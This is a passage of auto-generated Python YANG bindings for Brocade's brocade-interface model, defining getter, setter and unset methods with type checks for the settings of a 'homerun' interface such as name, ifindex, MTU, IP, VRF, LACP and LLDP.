'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((([0-9]|[1][0-6]))/([1-9]|[1-9][0-9]|[1-9][0-9][0-9])(:[1-4])?)', 'length': [u'3..16']}), is_leaf=True, yang_name="name", rest_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='interface-type', is_config=True)""",
})
self.__name = t
if hasattr(self, '_set'):
self._set()
def _unset_name(self):
self.__name = YANGDynClass(base=RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((([0-9]|[1][0-6]))/([1-9]|[1-9][0-9]|[1-9][0-9][0-9])(:[1-4])?)', 'length': [u'3..16']}), is_leaf=True, yang_name="name", rest_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='interface-type', is_config=True)
def _get_ifindex(self):
"""
Getter method for ifindex, mapped from YANG variable /interface/homerun/ifindex (uint64)
"""
return self.__ifindex
def _set_ifindex(self, v, load=False):
"""
Setter method for ifindex, mapped from YANG variable /interface/homerun/ifindex (uint64)
If this variable is read-only (config: false) in the
source YANG file, then _set_ifindex is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_ifindex() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="ifindex", rest_name="ifindex", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='uint64', is_config=False)
except (TypeError, ValueError):
raise ValueError({
'error-string': """ifindex must be of a type compatible with uint64""",
'defined-type': "uint64",
'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="ifindex", rest_name="ifindex", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='uint64', is_config=False)""",
})
self.__ifindex = t
if hasattr(self, '_set'):
self._set()
def _unset_ifindex(self):
self.__ifindex = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="ifindex", rest_name="ifindex", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='uint64', is_config=False)
def _get_description(self):
"""
Getter method for description, mapped from YANG variable /interface/homerun/description (string)
"""
return self.__description
def _set_description(self, v, load=False):
"""
Setter method for description, mapped from YANG variable /interface/homerun/description (string)
If this variable is read-only (config: false) in the
source YANG file, then _set_description is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_description() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=RestrictedClassType(base_type=unicode, restriction_dict={'length': [u'1 .. 63']}), is_leaf=True, yang_name="description", rest_name="description", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Interface specific description', u'cli-multi-value': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_BASIC_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='string', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """description must be of a type compatible with string""",
'defined-type': "string",
'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=unicode, restriction_dict={'length': [u'1 .. 63']}), is_leaf=True, yang_name="description", rest_name="description", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Interface specific description', u'cli-multi-value': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_BASIC_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='string', is_config=True)""",
})
self.__description = t
if hasattr(self, '_set'):
self._set()
def _unset_description(self):
self.__description = YANGDynClass(base=RestrictedClassType(base_type=unicode, restriction_dict={'length': [u'1 .. 63']}), is_leaf=True, yang_name="description", rest_name="description", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Interface specific description', u'cli-multi-value': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_BASIC_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='string', is_config=True)
def _get_shutdown(self):
"""
Getter method for shutdown, mapped from YANG variable /interface/homerun/shutdown (empty)
"""
return self.__shutdown
def _set_shutdown(self, v, load=False):
"""
Setter method for shutdown, mapped from YANG variable /interface/homerun/shutdown (empty)
If this variable is read-only (config: false) in the
source YANG file, then _set_shutdown is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_shutdown() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="shutdown", rest_name="shutdown", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Shutdown the selected interface', u'cli-show-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_SHUT_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='empty', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """shutdown must be of a type compatible with empty""",
'defined-type': "empty",
'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="shutdown", rest_name="shutdown", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Shutdown the selected interface', u'cli-show-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_SHUT_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='empty', is_config=True)""",
})
self.__shutdown = t
if hasattr(self, '_set'):
self._set()
def _unset_shutdown(self):
self.__shutdown = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="shutdown", rest_name="shutdown", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Shutdown the selected interface', u'cli-show-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_SHUT_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='empty', is_config=True)
def _get_channel_group(self):
"""
Getter method for channel_group, mapped from YANG variable /interface/homerun/channel_group (container)
YANG Description: A container of configuration leaf elements for managing
the channel-group membership.
"""
return self.__channel_group
def _set_channel_group(self, v, load=False):
"""
Setter method for channel_group, mapped from YANG variable /interface/homerun/channel_group (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_channel_group is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_channel_group() directly.
YANG Description: A container of configuration leaf elements for managing
the channel-group membership.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=channel_group.channel_group, is_container='container', presence=False, yang_name="channel-group", rest_name="channel-group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-compact-syntax': None, u'info': u'LACP channel commands', u'cli-sequence-commands': None, u'cli-full-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_MODE_CHANNEL_GROUP_MEMBER'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """channel_group must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=channel_group.channel_group, is_container='container', presence=False, yang_name="channel-group", rest_name="channel-group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-compact-syntax': None, u'info': u'LACP channel commands', u'cli-sequence-commands': None, u'cli-full-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_MODE_CHANNEL_GROUP_MEMBER'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)""",
})
self.__channel_group = t
if hasattr(self, '_set'):
self._set()
def _unset_channel_group(self):
self.__channel_group = YANGDynClass(base=channel_group.channel_group, is_container='container', presence=False, yang_name="channel-group", rest_name="channel-group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-compact-syntax': None, u'info': u'LACP channel commands', u'cli-sequence-commands': None, u'cli-full-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_MODE_CHANNEL_GROUP_MEMBER'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
def _get_ip(self):
"""
Getter method for ip, mapped from YANG variable /interface/homerun/ip (container)
YANG Description: The IP configurations for an interface.
"""
return self.__ip
def _set_ip(self, v, load=False):
"""
Setter method for ip, mapped from YANG variable /interface/homerun/ip (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_ip is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_ip() directly.
YANG Description: The IP configurations for an interface.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=ip.ip, is_container='container', presence=False, yang_name="ip", rest_name="ip", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'The Internet Protocol (IP).', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_IP_CONFIG', u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """ip must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=ip.ip, is_container='container', presence=False, yang_name="ip", rest_name="ip", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'The Internet Protocol (IP).', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_IP_CONFIG', u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)""",
})
self.__ip = t
if hasattr(self, '_set'):
self._set()
def _unset_ip(self):
self.__ip = YANGDynClass(base=ip.ip, is_container='container', presence=False, yang_name="ip", rest_name="ip", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'The Internet Protocol (IP).', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_IP_CONFIG', u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
def _get_ipv6(self):
"""
Getter method for ipv6, mapped from YANG variable /interface/homerun/ipv6 (container)
YANG Description: The IPv6 configurations for an interface.
"""
return self.__ipv6
def _set_ipv6(self, v, load=False):
"""
Setter method for ipv6, mapped from YANG variable /interface/homerun/ipv6 (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_ipv6 is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_ipv6() directly.
YANG Description: The IPv6 configurations for an interface.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=ipv6.ipv6, is_container='container', presence=False, yang_name="ipv6", rest_name="ipv6", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'The Internet Protocol version 6(IPv6).', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_IP_CONFIG', u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """ipv6 must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=ipv6.ipv6, is_container='container', presence=False, yang_name="ipv6", rest_name="ipv6", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'The Internet Protocol version 6(IPv6).', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_IP_CONFIG', u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)""",
})
self.__ipv6 = t
if hasattr(self, '_set'):
self._set()
def _unset_ipv6(self):
self.__ipv6 = YANGDynClass(base=ipv6.ipv6, is_container='container', presence=False, yang_name="ipv6", rest_name="ipv6", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'The Internet Protocol version 6(IPv6).', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_IP_CONFIG', u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
def _get_vrf(self):
"""
Getter method for vrf, mapped from YANG variable /interface/homerun/vrf (container)
"""
return self.__vrf
def _set_vrf(self, v, load=False):
"""
Setter method for vrf, mapped from YANG variable /interface/homerun/vrf (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_vrf is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_vrf() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=vrf.vrf, is_container='container', presence=False, yang_name="vrf", rest_name="vrf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Assign VRF to this ethernet interface', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_VRF_BIND_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """vrf must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=vrf.vrf, is_container='container', presence=False, yang_name="vrf", rest_name="vrf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Assign VRF to this ethernet interface', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_VRF_BIND_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)""",
})
self.__vrf = t
if hasattr(self, '_set'):
self._set()
def _unset_vrf(self):
self.__vrf = YANGDynClass(base=vrf.vrf, is_container='container', presence=False, yang_name="vrf", rest_name="vrf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Assign VRF to this ethernet interface', u'cli-incomplete-no': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_VRF_BIND_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
def _get_bfd(self):
"""
Getter method for bfd, mapped from YANG variable /interface/homerun/bfd (container)
YANG Description: Create BFD session on this interface.
"""
return self.__bfd
def _set_bfd(self, v, load=False):
"""
Setter method for bfd, mapped from YANG variable /interface/homerun/bfd (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_bfd is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_bfd() directly.
YANG Description: Create BFD session on this interface.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=bfd.bfd, is_container='container', presence=False, yang_name="bfd", rest_name="bfd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Create BFD session on this interface.', u'cli-incomplete-no': None, u'callpoint': u'bfd-params-phy-cpworker', u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_L3_BFD_CONFIG', u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """bfd must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=bfd.bfd, is_container='container', presence=False, yang_name="bfd", rest_name="bfd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Create BFD session on this interface.', u'cli-incomplete-no': None, u'callpoint': u'bfd-params-phy-cpworker', u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_L3_BFD_CONFIG', u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)""",
})
self.__bfd = t
if hasattr(self, '_set'):
self._set()
def _unset_bfd(self):
self.__bfd = YANGDynClass(base=bfd.bfd, is_container='container', presence=False, yang_name="bfd", rest_name="bfd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Create BFD session on this interface.', u'cli-incomplete-no': None, u'callpoint': u'bfd-params-phy-cpworker', u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_L3_BFD_CONFIG', u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
def _get_track(self):
"""
Getter method for track, mapped from YANG variable /interface/homerun/track (container)
YANG Description: Track interface
"""
return self.__track
def _set_track(self, v, load=False):
"""
Setter method for track, mapped from YANG variable /interface/homerun/track (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_track is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_track() directly.
YANG Description: Track interface
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=track.track, is_container='container', presence=False, yang_name="track", rest_name="track", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Track interface', u'hidden': u'full', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """track must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=track.track, is_container='container', presence=False, yang_name="track", rest_name="track", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Track interface', u'hidden': u'full', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)""",
})
self.__track = t
if hasattr(self, '_set'):
self._set()
def _unset_track(self):
self.__track = YANGDynClass(base=track.track, is_container='container', presence=False, yang_name="track", rest_name="track", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Track interface', u'hidden': u'full', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
def _get_mtu(self):
"""
Getter method for mtu, mapped from YANG variable /interface/homerun/mtu (mtu-type)
YANG Description: The size of the largest packet which can be sent/
received on the interface, specified in bytes.
For interfaces that are used for transmitting network
datagrams, this is the size of the largest network
datagram that can be sent on the interface.
"""
return self.__mtu
def _set_mtu(self, v, load=False):
"""
Setter method for mtu, mapped from YANG variable /interface/homerun/mtu (mtu-type)
If this variable is read-only (config: false) in the
source YANG file, then _set_mtu is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_mtu() directly.
YANG Description: The size of the largest packet which can be sent/
received on the interface, specified in bytes.
For interfaces that are used for transmitting network
datagrams, this is the size of the largest network
datagram that can be sent on the interface.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1548..9216']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(1548), is_leaf=True, yang_name="mtu", rest_name="mtu", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'cli-run-template': u'mtu $(mtu)\n', u'info': u'Set mtu value to interface'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='mtu-type', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """mtu must be of a type compatible with mtu-type""",
'defined-type': "brocade-interface:mtu-type",
'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1548..9216']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(1548), is_leaf=True, yang_name="mtu", rest_name="mtu", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'cli-run-template': u'mtu $(mtu)\n', u'info': u'Set mtu value to interface'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='mtu-type', is_config=True)""",
})
self.__mtu = t
if hasattr(self, '_set'):
self._set()
def _unset_mtu(self):
self.__mtu = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1548..9216']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(1548), is_leaf=True, yang_name="mtu", rest_name="mtu", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'cli-run-template': u'mtu $(mtu)\n', u'info': u'Set mtu value to interface'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='mtu-type', is_config=True)
def _get_switchport_basic(self):
"""
Getter method for switchport_basic, mapped from YANG variable /interface/homerun/switchport_basic (container)
"""
return self.__switchport_basic
def _set_switchport_basic(self, v, load=False):
"""
Setter method for switchport_basic, mapped from YANG variable /interface/homerun/switchport_basic (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_switchport_basic is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_switchport_basic() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=switchport_basic.switchport_basic, is_container='container', presence=False, yang_name="switchport-basic", rest_name="", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-drop-node-name': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_MODE_SWITCHPORT_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """switchport_basic must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=switchport_basic.switchport_basic, is_container='container', presence=False, yang_name="switchport-basic", rest_name="", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-drop-node-name': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_MODE_SWITCHPORT_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)""",
})
self.__switchport_basic = t
if hasattr(self, '_set'):
self._set()
def _unset_switchport_basic(self):
self.__switchport_basic = YANGDynClass(base=switchport_basic.switchport_basic, is_container='container', presence=False, yang_name="switchport-basic", rest_name="", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-drop-node-name': None, u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_MODE_SWITCHPORT_CONFIG'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
def _get_switchport(self):
"""
Getter method for switchport, mapped from YANG variable /interface/homerun/switchport (container)
YANG Description: The L2 switching characteristics of an interface.
"""
return self.__switchport
def _set_switchport(self, v, load=False):
"""
Setter method for switchport, mapped from YANG variable /interface/homerun/switchport (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_switchport is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_switchport() directly.
YANG Description: The L2 switching characteristics of an interface.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=switchport.switchport, is_container='container', presence=False, yang_name="switchport", rest_name="switchport", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Set the switching characteristics of the Layer2 \ninterface', u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_MODE_SWITCHPORT_CONFIG', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """switchport must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=switchport.switchport, is_container='container', presence=False, yang_name="switchport", rest_name="switchport", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Set the switching characteristics of the Layer2 \ninterface', u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_MODE_SWITCHPORT_CONFIG', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)""",
})
self.__switchport = t
if hasattr(self, '_set'):
self._set()
def _unset_switchport(self):
self.__switchport = YANGDynClass(base=switchport.switchport, is_container='container', presence=False, yang_name="switchport", rest_name="switchport", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Set the switching characteristics of the Layer2 \ninterface', u'sort-priority': u'RUNNCFG_INTERFACE_LEVEL_MODE_SWITCHPORT_CONFIG', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='container', is_config=True)
def _get_lacp(self):
"""
Getter method for lacp, mapped from YANG variable /interface/homerun/lacp (container)
"""
return self.__lacp
def _set_lacp(self, v, load=False):
"""
Setter method for lacp, mapped from YANG variable /interface/homerun/lacp (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_lacp is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_lacp() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=lacp.lacp, is_container='container', presence=False, yang_name="lacp", rest_name="lacp", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'LACP commands', u'cli-incomplete-no': None, u'sort-priority': u'118'}}, namespace='urn:brocade.com:mgmt:brocade-lacp', defining_module='brocade-lacp', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """lacp must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=lacp.lacp, is_container='container', presence=False, yang_name="lacp", rest_name="lacp", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'LACP commands', u'cli-incomplete-no': None, u'sort-priority': u'118'}}, namespace='urn:brocade.com:mgmt:brocade-lacp', defining_module='brocade-lacp', yang_type='container', is_config=True)""",
})
self.__lacp = t
if hasattr(self, '_set'):
self._set()
def _unset_lacp(self):
self.__lacp = YANGDynClass(base=lacp.lacp, is_container='container', presence=False, yang_name="lacp", rest_name="lacp", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'LACP commands', u'cli-incomplete-no': None, u'sort-priority': u'118'}}, namespace='urn:brocade.com:mgmt:brocade-lacp', defining_module='brocade-lacp', yang_type='container', is_config=True)
def _get_lldp(self):
"""
Getter method for lldp, mapped from YANG variable /interface/homerun/lldp (container)
"""
return self.__lldp
def _set_lldp(self, v, load=False):
"""
Setter method for lldp, mapped from YANG variable /interface/homerun/lldp (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_lldp is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_lldp() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=lldp.lldp, is_container='container', presence=False, yang_name="lldp", rest_name="lldp", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'The Link Layer Discovery Protocol(LLDP).', u'sort-priority': u'115', u'callpoint': u'lldp_phy_interface_conf', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-lldp', defining_module='brocade-lldp', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """lldp must be of a type compatible with container""",
'defined-type': "container",
